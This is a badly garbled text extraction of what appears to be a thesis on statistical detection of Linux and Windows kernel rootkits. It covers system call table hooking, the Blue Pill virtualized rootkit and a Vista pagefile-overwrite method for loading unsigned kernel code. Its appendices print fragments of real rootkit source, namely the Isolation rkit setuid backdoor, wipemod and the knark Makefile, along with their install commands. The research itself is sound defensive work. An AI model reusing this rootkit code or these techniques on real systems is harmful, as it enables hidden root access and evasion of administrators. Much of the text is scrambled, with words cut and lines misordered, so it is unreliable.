sses in the SSDT are distributed normally enough to allow a detection 
model cores 
greather than or equal to thre  a kernel rootkit.   
 
9.7  Conclusions 
 The attack methods e otkits and Linux kernel 
rootkits share many similarit
modification, as well as a sy ck (known as the SSDT in 
Windows).   
 Furthermore, experim emory addresses within the 
Windows kernel tend to be m d than in Linux, making 
detection much easier.  Whil cused in the detection of Linux 
kernel rootkits, these method ffective, or at least less 
omplicated, when employed in the detection of Windows kernel rootkits.  Further 
range between 1.80048 and -2.86425.  None of the addresses have z-scores in excess of 
three standard deviations.  This is a perfect situation for the use of a normality based 
detection approach.   
 Infection with the WebWatcher program modifies three entries in the SSDT.
A re-examination of the data, after infection with the WebWatcher software, shows these 
three infected entries in the SSDT now have z-scores in excess of 9!  A more comple
model, similar to the one presented in Section 8.1, is not necessary.  Amazingly, the 
memory addre
based solely on the calculation of z-scores, and flagging those entries with z-s
e as outliers and as such, infected by
mployed by Windows kernel ro
ies.  Both classes of rootkit employ direct kernel 
stem call table modification atta
ental results indicate that the m
uch more normally distribute
e this research was initially fo
s may yet prove to be more e
c
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research into the possibility of using these methods to detect rootkits in a Windows 
environment is both promising and warranted.  Microsoft offers a wide array of opera
systems for use in testing these approaches, including Windows 2000, Windows XP, and 

























 Finally, conclusions and the direction of future research into this area will be 
discussed in this final chapter.  Section 10.1 provides the overall conclusions for this 
work.  Sections 10.2 and 10.3 present future research directions, with section 10.2 
presenting a detailed plan for generalizing the A Priori knowledge required for the 
detection of kernel rootkits using the approaches presented here.  This plan includes 
examining an existing rootkit knowledge base, the necessity of creating a new operating 
system knowledge base, determining the significance of kernel compilation options, 
variability across architectures and operating systems, and the required granularity of this 
information.  Section 10.3 examines a new class of threat, virtualized rootkits.  The 
operational details and existing detection options will be discussed for the only known 
virtualized rootkit, Blue Pill, which has been designed for Windows Vista.   
 
10.1 Conclusions 
 Rootkits are, essentially, stealthy malicious software that allows an attacker to use 
an already compromised system to maintain control of that system, attack other systems, 
destroy evidence, and decrease the chances of being detected by system administrators 
[6].  First generation rootkits were discovered “in the wild” since the mid-1990s, 




and have evolved into second, third, and now fourth (virtualized rootkits) generation 
e 
re: 
models.  These new models include new, especially insiduous rootkits that subvert th
operating system/kernel in various ways. 
 Kernel rootkits modify the kernel via three primary mechanisms.  These 
mechanisms a
 
System Call Table Modification. The attacker modifies the addresses stored in the s
call table.  The attacker, having written custom system calls [15] to replace several 
system calls within the kernel, changes the addresses in the system call table to po
the new, malicious custom system calls.   
 
System Call Target Modification
ystem 
int to 
. In this case, the attacker overwrites the legitimate 
targets of the addresses in the system call table with malicious code.  The system call 
table does not need to be changed.  The first few instructions of the system call function 
 overwritten with a jump instruction to the malicious code.  
 Call Table Redirection
is
 
System . In this type of rootkit implementation, the attacker 
ects references to the entire system call table to a new, malicious system call table in 
ethod can pass many currently used detection 
her investigation, it appears that the system call table 
ection attack is simply a special case of the system call target modification attack 
ply modifies the system_call function, modifying the address of 
 call table therein, which handles individual system calls.   
 
redir
a new kernel address location. This m
techniques [14].  Upon furt
redir
[16].  The attacker sim
the system
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 Existing methods of detecting Linux kernel rootkits typically rely on either (a) 
ving system state before infection, and comparing this information post infection, or (b) 
stalling a detection program (such as tripwire) before infection.  These two approaches 
ly on a priori knowledge for detection.  Even so, some Linux based rootkit detection 
roducts offer some limited functionality when employed after infection.   
This research focuses on detecting kernel rootkits with greatly reduced a priori 
nowledge, in the form of general knowledge of the statistical properties of broad classes 
f operating system/architecture pairs.  Additionally, these detection techniques rely on 
more formal, statistically based detection me odologies.   
 Specifically, four different techniques are explored in this work.  First, general 
distribution models were employed to detect kernel rootkits that use the system call table 
modification attack to infect systems.  This m fforts in the field of 
outlier dete  not scale 













odel is based on early e
ction, and suffers from shortcomings – primarily this approach does
w
successfully detecting four different rootkits utilizing the system call table modificatio
attack.   
 Second, a normality based approach was investigated for use in detecting ke
rootkits that infected systems by way of the system call table modification attack.  T
approach was only partially successful, and generates false positives.  The percentage
false positives, however, was only 0.35%.  In order for this approach to be useful in 
practice, a second discordancy test or some other method for dealing with these false 
positives will need to be developed.   
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 Next, the general distribution model was applied to the detection of rootkits that 
infect systems via the system call target modification attack.  The dataset in this instance 
is dramatically larger, including disassembled memory addresses from the entire kernel, 
and not only the system call table.  As expected, this approach did not scale well, and is 
not appropriate for this particular application.  However, a modified version of the 
normality based approach proved to be effective in detecting kernel rootkits that infect 
the kernel via the system call target modification attack.  This approach hinges on the 
discovery that system calls are loaded into memory sequentially, with the higher level 
system calls loaded first, and the lower level system calls loaded later.  Higher level 
systems calls are more likely to be infected by kernel rootkits.  This approach also makes 
use of a second discordancy test.  Each attack location was successfully detected using 
this approach, resulting in 100% or complete detection of this rootkit.   
 Finally, these detection techniques were applied to kernel rootkits which infect the 
Microsoft Windows operating systems.  The Windows equivalent of the system call table, 
the system service descriptor table (SSDT), appears to be almost perfectly normally 
distributed.  Based on this finding, a Windows rootkit that employed the system call table 
modification attack was successfully detected using the general distribution model, as 
location in the kernel was successfully detected, resulting in 100% or complete detection 
of the rootkit.   
 Although these are promising results, these experiments were conducted by a 
single researcher with intimate knowledge of the operating systems, architectures, 
rootkits, and the presence or absence of rootkit infection.  In order to further strengthen 
well as the ‘assumption of normality’ model with good results.  In this case, each attack 
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these results, future “blind” experiments should be conducted wherein the researcher is 
deprived of such information.   
 As discussed in Chapter 2, applications exist for the express purpose of detecting 
tantial 
n order to be 
ffective.  In addition to the requirement for substantial a priori knowledge, these 
me value distribution well 
kenrel rootkits.  Some of these include chkrootkit, kstat, rkstat, St. Michael, scprint, 
Tripwire, Komoku, and kern_check  [5;11;18-24;27].  These tools include signature, 
heuristic and hardware based rootkit detectors, and include many similarities.  The 
common similarity between them is that each class of application includes a subs
requirement for a priori knowledge.  The signature based applications require a priori 
knowledge of specific rootkits, and the heuristic and hardware based detectors require 
substantial a priori knowledge of or deployment on a “clean” system i
e
applications fail to provide a formal model for rootkit detection.  The approaches 
presented in this research allow for a reduced requirement for a priori knowledge, and 
also provide a formal model for each approach.   
 
10.2 Generalizing A Priori Knowledge 
 The preceeding sections have shown that there are statistical similarities within 
broad categories of architecture/operating system pairs.  Specifically, the 32-bit Intel 
architecture running both a Linux 2.4 and Linux 2.6 kernel, as well as the SPARC 
architecture running the 2.4.27 kernel all fit the largest extre
enough to facilitate the detection of Linux kernel rootkits. 
 However, these broad categories do have limits.  One clear example is the 32-bit 
Intel Architecture running Windows 2000.  This architecture/operating system pair does 
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not share the same statistical properties as the others.  Clearly, it is possible to reduce the 
burden for a priori knowledge when attempting to detect rootkits, but it will still be 









• Kernel Compilation Options 
• Variability Across Architectures and Operating Systems 
 
s  pairs.   
 Without doubt, in order for the approaches presented in this work to be 
successful, having generalized a priori knowledge about the statistical properties of broad
categories of architecture/operating system pairs is essential.  While similar operating
systems on dissimilar architectures (Linux 2.4.27 running on 32-bit Intel architecture a
SPARC architecture) share striking sim
W s 2000 on a 32-bit Intel architecture do not share these similarities.  This finding
strengthens the belief that systems will fit well into broad categories of similarity.   
 In order to further strengthen evidence that operating system/architecture pairs fal
into broad categories in regard to the distribution of underlying system call addresses, it 
may be prudent to compile, through experimentation or observation, a database of 
operating system properties.  Such a database will facilitate the effective categorization 
operating system/architecture pairs.  Furthermore, such a database may allow the 
identification of new factors in what currently appears to be univariate (or bivariate at 




 Based on existing results, differences at the operating system level seem to 
influence the underlying distribution of system call addresses much more strongly than 
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differences in architecture.  The influence of kernel compilation options on the 
underlying distribution of system call addresses needs to be carefuly investigated in the 
future.   
 
10.3  Virtualized Rootkits:  An Emerging Threat 
 Blue pill
 
 is a controversial rootkit, based on virtualization, that attacks Microsoft’s 
 
ell.  





Vista operating system.  Blue Pill utilizes AMD Pacific virtualization technology, and
could possibly be modifed to use Intel’s Vanderpool virtualization technology as w
Blue Pill was designed by Joanna Rutkowski, who claims that Blue Pill is “100% 
undetectable” [57].   
 Using AMD’s Pacifica v
running instance of the operating system into a virtual machine, which can then act as a 
hypervisor having complete control of the computer.  Rutkowsky claims that Blue Pi
“100% undetectable” because any detection program could be fooled by the hypervis
[57].   
 AMD has since issued a statement dismissing these claims, and other security 
researchers and journalists also dismiss these claims.  In 2007, a group of researchers 
invited Rutkowsky to test Blue Pill against a rootkit detector at Black Hat 2007, but 
Rutkowsky declined to participate unless given $384,000.00 in funding as a prerequ
for entering the competition.  The name Blue Pill is a reference to the blue pill from
popular film trilogy, The Matrix [57].   
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 Currently, Blue Pill is the only rootkit based upon virtualization, and is only a 
indows Vista.  No other virtualization based 
 
d even the system 
dmini
CDEdit (reboot required, may not be available in later versions) 
ich in 
rnel 
proof of concept for use with Microsoft W
rootkits are known, and none have been observed “in the wild”.   
 
10.3.1  Operational Details 
 In Microsoft Windows Vista, all kernel mode drivers must be signed.  Vista only
allows the loading of signed drivers into kernel memory, an
a strator may not load unsigned code into kernel memory.  Obviously, this 
countermeasure is intended to protect kernel memory from malware.  This protection 
may be deactivated by the following mechanisms [58]: 
• Attaching a kernel debugger (this requires a reboot) 
• Pressing the F8 key during reboot 
• Using B
 However, Vista allows usermode applications raw access to the disk, wh
turn allows these same usermode applications to read and write disk sectors which are 
occupied by the pagefile!  Usermode applications may not modify the contents of the 
pagefile, which may contain the code and data of the paged kernel drivers.  This 
functionality is fully documented in the Windows Vista SDK [58].   
 All that remains is to insure that kernel specific code appears in the pagefile.  By 
allocating enormous amounts of memory, a usermode application can prompt the ke
to page out a substantial amount of kernel memory to the page file.  At this point, some 
unused drivers (kernel memory) are written to the page file.  Blue Pill (or any other 
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application so inclined) may now overwrite the kernel memory present in the pagefile, 
and once the page file is written back into memory, rootkit infection is complete [5
 There are several solutions for this problem, including forbidding raw disk acce
from usermode, encrypting the pagefile, and disabling
8].   
ss 
 kernel memory paging [58].  All of 
ese solutions involve drawbacks and tradeoffs, and Microsoft has yet to implement any 
ossible solution.   
rent.   
PU Discrepancies:  the virtual CPU interfaces of Virtual Machine Monitors such 
as VMWare Player or Microsoft’s Virtual PC violate x86 architecture.   
 difficult to model, and for 
h 
 
n the availability of these resources can betry the presence of a 




10.3.2  Detecting Blue Pill 
 Note that there exist a wide range of virtualization anomalies that betray a 
virtualized system.  Garfinkel et al. point out that virtual systems are not transpa
A virtual system may be detected by any of the following approaches [59]: 
• C
• Off-chip Discrepancies:  Modern chipsets are
simplicity, the VMWare virtual platform always emulates an i440bx chipset, 
leading to absurd hardware configurations.   
• Resource Discrepancies:  Virtual Machine Monitors share physical resources wit
their guests, including CPU cycles, physical memory, and cache footprint. 
Irregularities i
Virtual Machine Monitor (VMM).   
• Timing Discrepancies:  Device virtualization is a well-known rich source for 
timing anomalies.  While hardware virtualization shrinks some overheads, it 
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 The author of Blue Pill, Joanna Rutkowski, claims that detecting virtualization is
not the
 
 same as detecting Blue Pill.  While Blue Pill uses virtualization, there are surely 
ome in
ast perceived as, an effective detection technique 
r Blu
oaches for detecting 
irtualization.  It seems that detection efforts are very close to full detection of Blue Pill.  




s stances in which virtualization is being used but Blue Pill is not present.  So, 
detecting virtualization is only a good first step in detecting Blue Pill [60].   
 Timing attacks seem to be particularly effective at detecting Blue Pill, since 
Rutkowsky went to the trouble of developing Blue Chicken technology to avoid them.  
When Blue Pill detects a “timing attack”, it unloads itself [60].  This alone is eloquent 
proof that timing attacks are, or are at le
fo e Pill.   
 Indeed, Blue Pill  is new, stealthy, and frightening.  However, Blue Pill always 
uses hardware virtualization, and there are many well known appr
v
Claiming “100% undetectabil
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gdb /boot/debug/vmlinux-2.6.8  
A.4:  Sou
 





# Program - parsedis.pl 
# a (more) human readable format  
SCRIPTS AND PROGRAMS USED IN ANALYSIS 
(Referenced in C
A.1:  Source code for debug4 
# Program – debug4 
# This program is used for debugging  
inux 2.4.27 kernel statically. 
gdb /boot/debug/vmlinux-2.4.27  
rce code for debugrt4 
# Program – debugrt4 
# This program is used for debugging 
inux 2.4.27 kernel that is 
ntly running. 
gdb /boot/debug/vmlinux-2.4.27 /proc/kcore 
rce code for debug6 
# Program - debug6 
# This program is used for debugging the  
 2.6.8 kenrel statically. 
/sh 
 
rce code for debugrt6 
# This program is used for  
# debugging the Linux 2.6.8  




A.5:  Source code for parsedis.pl 
# This program is used to parse 
# disassembled system calls into 
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# suitable for use with Minitab. 
 
open(HAN
$line = 1; 
{ 
  chomp; 
  ($cmd, $address) = split; 
  $find1 = index($address, "0x"); 
  if ($f
  { 
  ; 
    { 
      $find2 = $eol; 
 
    $res
    $res
    $len = length($result); 
   $cmd =~ 
      { 
        print "$cmd $result $dec $line\n"; 
      } 
    } 
  } 











@data = <HANDLE>; 
foreach(@data) 
  ($a, $b) = split(/\:/, $_); 
  $_ = $b; 
  $eol = length($address); 
ind1 > -1) 
  $find2 = index($address, " ", $find1)
    if ($find2 < 0) 
    } 
    $len = $find2 - $find1; 
    $result = substr($address, $find1, $len); 
ult =~ s/\)//; 
    $result =~ s/\,//; 
    $result =~ s/\ //; 
ult =~ s/\$//; 
 
  if ($len == 10 && $result !~ /\%|\(|\)/ && ($cmd =~ /^j/ ||
/^push/)  ) 
    { 
      $dec = hex($result); 









SOURCE CODE LISTING FOR RKIT 1.01 
(Referenced in Chapter V) 






Ok, this is an LKM (Loadable Kernel Module) for linux that successfully 
s designed for people who have user status on  
rack root and want to back-door the root  
lly, hackers have been forced to install a setuid  
 add an entry to /etc/passwd.  
 by a vigilant admin. 
d waits for a setuid call. If  
hen your UID is set to 0. 
our UID is set to 0. This is not  
ything is normal until you log in. There are  
trojaned programs no changed entries in  
tc/passwd. 
r UID in the rkit.c  
: #define magik_UID 500 
by typing "id"). Then compile the program with 
ith: insmod -x rkit.o 




kdoor verzi0n 1.01 
backdoors a system. This i
system and are able to ca 
account.  Traditiona
root binary or a trojan program or even
These can be (and often are) discovered
nce loaded sits in memory anThis LKM, o
One happens and it has your UID t
This means that when you log in y
Easily discoverable as ever
no SUID binary programs, no 
/e
 
So how do you use this? Simply put you
"#define magik_UID" statement as in
(You can get your UID 
 
gcc -Wall -O2 -c rkit.c -o rkit.o 
 
It can then be installed w
 
I have also included
dalai@insomnia.org which was orginally rele
 rkit from
ased in 2600 fall 
 the module listing  
n be contacted at <tbob@techie.com> 
- http://isolation.s5.com 
 
2000 issue so that you can remove
h reasonz). (for stealt
 
k, the author of this warez caO








 * #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# 
 *  Isolation r00tk1t Verzi0n 1.0  
 * #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# 
 *  
 * Isolation Website is at http://isolation.s5.com 
 * The author of this warez (TBob) can contacted at <tbob@techie.com> 







vilage elevation courtesy of Isolation...."); 
 now root user!\n"); 
_setuid(uid); 




ion production f00lz\n"); 
al_setuid; 
 * 






















   if(uid==magik_UID) 
   { 
    
     
  printk("<1>Pri
 current->uid=0; 
      current->gid=0; 
      
      r
printk("You are
eturn 0; 








   printk("<1>Isolation 
   real_setuid=sys_call_
   sys_call_table[SYS_setuid





   printk("<1>That was an Isolat





B.3:  Wipemod.c 
insomnia.org) 
*  
* usage: 'insmod wipemod name=target.o' 
*  
* Notice: The target module must already be loaded, 
* and wipemod will unload itself. Also, because 
* it unloads itself, wipemod cannot restore a module 
* into the list after it has been taken out. 
*  
* This is built for Linux 2.2. 
*  





































   struct module *lmod; 
    
   if(name == NULL){ 
            printk("<1>usage: 'insmod wipemod name=target.o'\n"); 
            return 1; 
   } 
   while(1){ 
  if(!lmod->next){ 
    printk("<1>Failure. Perhaps the target module isn't loaded?\n"); 
    return 1; 
  } 
 if(!strcmp(( 
     if(lmod->next->ndeps!=0) /*level ndeps*/ 
  lmod->next->ndeps=0; 
            
         lmod->next=lmod->next->next;   
      
         printk("<1>Success.\n");  
           return 1; /*return 1 so it will unload
    }   
  lmod = lmod->next; 







   /* This will never be called. */ 
} 













































DE LISTING FOR KNARK 2.4.3 
.1:  Makefile 
 Makefile, part of the knark package 
) Creed @ #hack.se 1999 <creed@sekure.net> 
d in an illegal way, 
nd. 









) $(CFLAGS) $(MODCFLAGS) -c $(SRCDIR)/knark.c -o 
DEFS) 
hide.c 
 $(CC) $(CFLAGS) $(MODCFLAGS) -Wno-uninitialized -c 
de.c 
 $(SRCDIR)/hidef.o 
S) -o hidef $(OBJS) $(SRCDIR)/hidef.o 
f 
AGS) -o rootme $(OBJS) $(SRCDIR)/rootme.o 
$(SRCDIR)/ered.o 
SOURCE CO







# This Makefile may NOT be use
 to cause damage of ANY ki# or
# (drop me a mail if you find a way to cau
# 
# See README for more info 
 
MODDEFS = -D__KERNEL__ -DMODULE -DLINUX 
CFLAGS = -Wall -O2 




IR = src SRCD
JS OB
 
all:  knark modhide r
  cp -f hidef unh











 $(CC) $(CFLAG 
  strip hide
 
JS) $(SRCDIR)/rootme.o rootme:  $(OB
 $(CC) $(CFL 
 
ered:  $(OBJS) 
  $(CC) $(CFLAGS) -o ered $(OBJS) $(SRCDIR)/ered.o 
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me ered nethide 
IR)/*.o $(SRCDIR)/*~ 
Mkmod 
ll -O2 -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-
align-loops=2 -malign-jumps=2 -malign-functions=2 -
inux/include/linux/modversions.h -
c -o knark.o -D__KERNEL__ -DMODULE 
.3:  O t 
xecve("/bin/ls", ["ls", "-la", "/tmp/"], [/* 42 vars */]) = 0 
name({sys="Linux", node="climate.eps.jhu.edu", ...}) = 0 
rk(0)                                  = 0x8053c08 
pen("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or 
irectory) 
pen("/etc/ld.so.cache", O_RDONLY)      = 3 
stat64(3, {st_mode=S_IFREG|0644, st_size=49641, ...}) = 0 
ld_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 
lose(3)                                = 0 
pen("/lib/libtermcap.so.2", O_RDONLY)  = 3 
ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200\r\0"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=11608, ...}) = 0 
ld_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
, 0) = 0x40023000 
ld_mmap(NULL, 14696, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x40024000 
protect(0x40027000, 2408, PROT_NONE)   = 0 
ld_mmap(0x40027000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 
, 0x2000) = 0x40027000 
lose(3)                                = 0 
pen("/lib/librt.so.1", O_RDONLY)       = 3 
ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\"\0"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=26232, ...}) = 0 
ld_mmap(NULL, 71732, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x40028000 
protect(0x4002e000, 47156, PROT_NONE)  = 0 
ld_mmap(0x4002e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 
, 0x5000) = 0x4002e000 
ld_mmap(0x40030000, 38964, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40030000 
lose(3)                                = 0 
  $(CC) $(CFLAGS) -o nethide $(OBJS) $(SRCDIR)/nethide.o 
rexec:  $(OBJS) $(SRCDIR)/rexec.o 
S  $(CC) $(CFLAGS) -o rexec $(OBJS) $(
 
taskhack: $
  $(CC) $(CFLAGS) -o taskhack $
 
clean: 














































open("/lib/libc.so.6", O_RDONLY)        = 3 
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read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
ld_mmap(NULL, 1231496, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x4003a000 
protect(0x4015e000, 35464, PROT_NONE)  = 0 
ld_mmap(0x4015e000, 20480, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED, 3, 0x123000) = 0x4015e000 
ld_mmap(0x40163000, 14984, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40163000 
lose(3)                                = 0 
pen("/lib/libc.so.6", O_RDONLY)        = 3 
ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
lose(3)                       
open("/lib/libc.so.6", O_RDONLY)        = 3 
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
close(3)                 
open("/lib/libpthread.so.
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240O\0"..., 
024) = 1024 
_mode=S_IFREG|0755, st_size=517867, ...}) = 0 
 90396, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
, 
ONLY)        = 3 
\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
=1216268, ...}) = 0 
LL, 8) = 0 
4016fe80, [], 0x4000000}, NULL, 8) = 0 
, [], 0x4000000}, NULL, 8) = 0 
NULL, 8) = 0 
{{CT  
k(0)            = 0x8053c08 
k(0x 53c3         = 0x8053c38 
 0x8054000 
 PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
                   = 0 















c           = 0
               = 0 





mprotect(0x40176000, 28956, PROT_NONE)  = 0 
old_mmap(0x40176000, 28672, PROT_READ|PROT_WRITE
MAP_PRIVATE|MAP_FIXED, 3, 0xe000) = 0x40176000 
old_mmap(0x4017d000, 284, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4017d000 
ose(3)                                = 0 cl
open("/lib/libc.so.6", O_RD
read(3, "\177ELF\1\1\1\0\0\0
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size
close(3)                                = 0 
munmap(0x40016000, 49641)               = 0 
getpid()                                = 2048 




_sysctl( L_KERN, KERN_VERSION}, 2, 0xbffff5c4, 32, (nil), 0}) = 0
getpid()                                = 2048 
br                        
br
br
80 8)                  
k(0x8054000)                          =
open("/usr/share/locale/locale.alias", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=2567, ...}) = 0 
old_mmap(NULL, 4096,
1, 0) = 0x40016000 
read(3, "# Locale name alias data base.\n#"..., 4096) = 2567 
brk(0x8055000)                          = 0x8055000 
read(3, "", 4096)    
cl
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munmap(0x40016000, 4096)                = 0 
open("/usr/share/locale/en/LC_IDENTIFICATION", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=244, ...}) = 0 
old_mmap(NULL, 244, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 
close(3)                                = 0 
open("/usr/share/locale/en/LC_MEASUREMENT", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=13, ...}) = 0 
TELEPHONE", O_RDONLY) = 3 
) = 0 
ose(     




(NULL, 24, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001b000 
096, ...}) = 0 
                           = 0 
are/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 
S_IFREG|0644, st_size=276, ...}) = 0 
ld_mmap(NULL, 276, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001d000 
                            = 0 
pen("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 3 
 
3, 0) = 0x4001e000 
 ...}) = 0 
ENOTTY (Inappropriate 
old_mmap(NULL, 13, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000 
           = 0 close(3)                     
en("/usr/share/locale/en/LC_op
fstat64(3, {st_mode=S_IFREG|0644, st_size=49, ...}
old_mmap(NULL, 49, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 
3)                             = 0 cl
open("/u hare/locale/en/LC_ADDRESS"
fstat64(3, {st_mode=S_IFREG|0644, st_size=145, ...}) = 0 
 3, 0) = 0x40019000old_mmap(NULL, 145, PROT_READ, MAP_PRIVATE,
close(3)                                = 0 
3 open("/usr/share/locale/en/LC_NAME", O_RDONLY) = 
fstat64(3, {st_mode=S_IFREG|0644, st_size=67, ...}) = 0 
ap L, 67, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001a000 ol
close(3)                                = 0 
open("/usr/share/locale/en/LC_PAPER", O_RDONLY) = 3 
4( st_mode=S_IFREG|0644, st_size=24, ...}) = 0 fs
old_mmap
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3 
tat64(3, {st_mode=S_IFDIR|0755, st_size=4fs
close(3)     
pen("/usr/sho
3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=42, ...}) = 0 
old_mmap(NULL, 42, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001c000 
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 3 
fstat64(3, {st_mode=
o
close(3)    
o
fstat64(3, {st_mode=S_IFREG|0644, st_size=21484, ...}) = 0 
17e000old_mmap(NULL, 21484, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=2441, ...}) = 0 
old_mmap(NULL, 2441, PROT_READ, MAP_PRIVATE, 
brk(0x8056000)                          = 0x8056000 
close(3)                                = 0 
_RDONLY) = 3 open("/usr/share/locale/en_US/LC_NUMERIC", O
fstat64(3, {st_mode=S_IFREG|0644, st_size=44,
old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001f000 
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=110304, ...}) = 0 
old_mmap(NULL, 110304, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40184000 
close(3)                                = 0 
time(NULL)                              = 989820195 
ioctl(1, TCGETS, 0xbffff810)            = -1 
ioctl for device) 
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ioctl(1, TIOCGWINSZ, 0xbffff8d8)        = -1 ENOTTY (Inappropriate 
ioctl for device) 
brk(0x8059000)                          = 0x8059000 
7, st_size=4096, ...}) = 0 
 3 
 
, 0x2ptrace: umoven: Input/output error 
0, 0x1000, 0)  = 688 
_size=4096, ...}) = 
size=4096, ...}) = 0 
_ISVTX|0777, st_size=4096, 
.X0-lock", {st_mode=S_IFREG|0444, st_size=11, ...}) = 0 
, 
p/ksocket-root", {st_mode=S_IFDIR|0700, st_size=4096, ...}) 
0777, st_size=4096, 




0700, st_size=4096, ...}) 
 
e=S_IFREG|0600, 
 ...}) = 0 
213, 
44, st_size=1320, ...}) = 
 st_size=1620, ...}) = 
6, ...}) = 0 
_mode=S_IFREG|0644, st_size=721, ...}) = 0 
NYMOUS, -
., 4096) = 721 
lstat64("/tmp/", {st_mode=S_IFDIR|S_ISVTX|077
open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1 ENOTDIR (Not a 
directory) 
open("/tmp/", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) =
fstat64(3, {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
shmat(3, 0x2
)                      = ? 






...}) = 0 
lstat64("/tmp/
lstat64("/tmp/linuxconf-rpminstall.log", {st_mode=S_IFREG|0644








...}) = 0 
lstat64("/tmp/kde-feiliu", {st_mode=S_IFDIR|0700, st_size=4096, ...}) =
0 
lstat64("/tmp/ksocket-feiliu", {st_mode=S_IFDIR|0700, st_size=




...}) = 0 
lstat64("/tmp/nsform3AFE059412E0B5F", {st_mod
st_size=528, ...}) = 0 
lstat64("/tmp/hacking.tgz", {st_mode=S_IFREG|0644, st_size=1074303, 
...}) = 0 
lstat64("/tmp/knark.o", {st_mode=S_IFREG|0644, st_size=14136,
lstat64("/tmp/knark-2.4.3.tgz", {st_mode=S_IFREG|0644, st_size=57






ipc_subcall(0x3, 0x80583d0, 0x1000, 0)  = 0 
close(3)                                = 0 
open("/etc/mtab", O_RDONLY)             = 3 
fstat64(3, {st
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANO
1, 0) = 0x40020000 
read(3, "/dev/hdc5 / ext2 rw 0 0\nnone /pr"..
close(3)                                = 0 
munmap(0x40020000, 4096)                = 0 
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open("/proc/meminfo", O_RDONLY)         = 3 
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
 = 548 
o", O_RDONLY) = -1 
NLY) = -1 
S_IFREG|0644, st_size=10521, ...}) = 0 
NYMOUS, -






}) = 0 
, 0) = 
PRIVATE|MAP_FIXED, 




                         
irectory) 
1, 0) = 0x40020000 
read(3, "        total:    used:    free:"..., 4096)
close(3)                                = 0 
munmap(0x40020000, 4096)                = 0 
open("/usr/share/locale/en_US/LC_MESSAGES/fileutils.m
ENOENT (No such file or directory) 
open("/usr/share/locale/en/LC_MESSAGES/fileutils.mo", O_RDO
ENOENT (No such file or directory) 
fstat64(1, {st_mode=
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANO
1, 0) = 0x40020000 
socket(PF_UNIX, SOCK_STREAM, 0)         = 3 
